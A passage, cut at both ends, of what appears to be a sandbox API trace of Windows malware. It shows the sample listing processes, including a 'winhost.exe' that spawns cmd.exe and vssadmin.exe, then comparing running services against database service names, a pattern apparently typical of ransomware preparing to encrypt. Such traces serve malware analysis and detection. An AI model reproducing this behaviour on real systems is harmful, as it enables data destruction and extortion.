dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.418] lstrlenW (lpString="svchost.exe") returned 11 [0245.418] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0245.419] lstrlenW (lpString="sihost.exe") returned 10 [0245.419] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0245.419] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0245.419] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0245.420] lstrlenW (lpString="Memory Compression") returned 18 [0245.420] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0245.420] lstrlenW (lpString="taskhostw.exe") returned 13 [0245.420] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x928, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0245.420] lstrlenW (lpString="explorer.exe") returned 12 [0245.420] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0245.421] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0245.421] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0245.421] lstrlenW (lpString="SearchUI.exe") returned 12 [0245.421] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0245.421] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0245.421] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0245.422] lstrlenW (lpString="winhost.exe") returned 11 [0245.422] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0245.422] lstrlenW (lpString="cmd.exe") returned 7 [0245.422] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0245.422] lstrlenW (lpString="conhost.exe") returned 11 [0245.422] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0245.423] lstrlenW (lpString="dllhost.exe") returned 11 [0245.423] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0245.423] lstrlenW (lpString="vssadmin.exe") returned 12 [0245.423] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0245.423] lstrlenW (lpString="dllhost.exe") returned 11 [0245.424] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0245.424] lstrlenW (lpString="winhost.exe") returned 11 [0245.424] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xea8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0245.424] lstrlenW (lpString="cmd.exe") returned 7 [0245.424] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xeb8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0245.425] lstrlenW (lpString="conhost.exe") returned 11 [0245.425] Process32NextW (in: hSnapshot=0x27c, lppe=0x262fd2c | out: lppe=0x262fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xeb8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0245.425] CloseHandle (hObject=0x27c) returned 1 [0245.425] Sleep (dwMilliseconds=0x1f4) [0246.138] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x55ea20 [0246.138] EnumServicesStatusExW (in: hSCManager=0x55ea20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x262ff3c, lpServicesReturned=0x262ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x262ff3c, lpServicesReturned=0x262ff54, lpResumeHandle=0x0) returned 0 [0246.139] GetLastError () returned 0xea [0246.139] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1b30) returned 0x4152080 [0246.139] EnumServicesStatusExW (in: hSCManager=0x55ea20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4152080, cbBufSize=0x1b30, pcbBytesNeeded=0x262ff3c, lpServicesReturned=0x262ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4152080, pcbBytesNeeded=0x262ff3c, lpServicesReturned=0x262ff54, lpResumeHandle=0x0) returned 1 [0246.139] CloseServiceHandle (hSCObject=0x55ea20) returned 1 [0246.140] lstrlenW (lpString="Appinfo") returned 7 [0246.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0246.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0246.140] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0246.140] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0246.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0246.140] lstrlenW (lpString="AppXSvc") returned 7 [0246.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0246.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0246.140] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0246.140] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0246.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0246.140] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0246.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0246.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0246.140] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0246.140] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0246.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0246.140] lstrlenW (lpString="Audiosrv") returned 8 [0246.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0246.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0246.140] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0246.140] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0246.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0246.140] lstrlenW (lpString="BFE") returned 3 [0246.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0246.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0246.140] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0246.140] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0246.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0246.140] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0246.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0246.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0246.140] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0246.140] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0246.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0246.141] lstrlenW (lpString="CDPSvc") returned 6 [0246.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0246.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0246.141] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0246.141] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0246.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0246.141] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0246.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0246.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0246.141] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0246.141] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0246.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0246.141] lstrlenW (lpString="CryptSvc") returned 8 [0246.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0246.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0246.141] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0246.141] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0246.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0246.141] lstrlenW (lpString="DcomLaunch") returned 10 [0246.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0246.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0246.141] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0246.141] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0246.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0246.141] lstrlenW (lpString="DeviceAssociationService") returned 24 [0246.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0246.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0246.141] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0246.141] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0246.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0246.141] lstrlenW (lpString="Dhcp") returned 4 [0246.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0246.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0246.141] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0246.141] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0246.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0246.141] lstrlenW (lpString="Dnscache") returned 8 [0246.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0246.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0246.141] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0246.142] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0246.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0246.142] lstrlenW (lpString="DPS") returned 3 [0246.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0246.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0246.142] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0246.142] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0246.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0246.142] lstrlenW (lpString="DusmSvc") returned 7 [0246.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0246.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0246.142] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0246.142] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0246.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0246.142] lstrlenW (lpString="EventLog") returned 8 [0246.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0246.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0246.142] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0246.142] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0246.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0246.142] lstrlenW (lpString="EventSystem") returned 11 [0246.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0246.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0246.142] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0246.142] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0246.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0246.142] lstrlenW (lpString="FontCache") returned 9 [0246.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0246.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0246.142] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0246.142] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0246.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0246.142] lstrlenW (lpString="gpsvc") returned 5 [0246.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0246.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0246.142] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0246.142] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0246.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0246.142] lstrlenW (lpString="iphlpsvc") returned 8 [0246.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0246.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0246.142] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0246.142] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0246.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0246.142] lstrlenW (lpString="KeyIso") returned 6 [0246.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0246.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0246.142] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0246.142] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0246.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0246.142] lstrlenW (lpString="LanmanServer") returned 12 [0246.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0246.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0246.143] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0246.143] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0246.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0246.143] lstrlenW (lpString="LanmanWorkstation") returned 17 [0246.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0246.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0246.143] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0246.143] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0246.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0246.143] lstrlenW (lpString="lfsvc") returned 5 [0246.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0246.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0246.143] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0246.143] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0246.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0246.143] lstrlenW (lpString="lmhosts") returned 7 [0246.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0246.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0246.143] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0246.143] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0246.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0246.143] lstrlenW (lpString="LSM") returned 3 [0246.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0246.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0246.143] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0246.143] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0246.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0246.143] lstrlenW (lpString="MpsSvc") returned 6 [0246.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0246.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0246.143] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0246.143] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0246.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0246.143] lstrlenW (lpString="NcbService") returned 10 [0246.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0246.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0246.143] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0246.143] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0246.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0246.143] lstrlenW (lpString="netprofm") returned 8 [0246.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0246.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0246.143] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0246.143] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0246.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0246.143] lstrlenW (lpString="NgcSvc") returned 6 [0246.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0246.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0246.143] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0246.143] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0246.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0246.143] lstrlenW (lpString="NlaSvc") returned 6 [0246.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0246.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0246.144] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0246.144] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0246.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0246.144] lstrlenW (lpString="nsi") returned 3 [0246.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0246.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0246.144] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0246.144] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0246.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0246.144] lstrlenW (lpString="PcaSvc") returned 6 [0246.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0246.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0246.144] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0246.144] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0246.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0246.144] lstrlenW (lpString="PlugPlay") returned 8 [0246.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0246.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0246.144] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0246.144] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0246.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0246.144] lstrlenW (lpString="Power") returned 5 [0246.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0246.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0246.144] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0246.144] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0246.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0246.144] lstrlenW (lpString="ProfSvc") returned 7 [0246.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0246.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0246.144] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0246.144] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0246.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0246.144] lstrlenW (lpString="RpcEptMapper") returned 12 [0246.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0246.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0246.144] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0246.144] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0246.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0246.144] lstrlenW (lpString="RpcSs") returned 5 [0246.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0246.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0246.144] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0246.144] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0246.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0246.144] lstrlenW (lpString="SamSs") returned 5 [0246.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0246.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0246.144] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0246.144] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0246.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0246.144] lstrlenW (lpString="Schedule") returned 8 [0246.145] lstrcmpiW 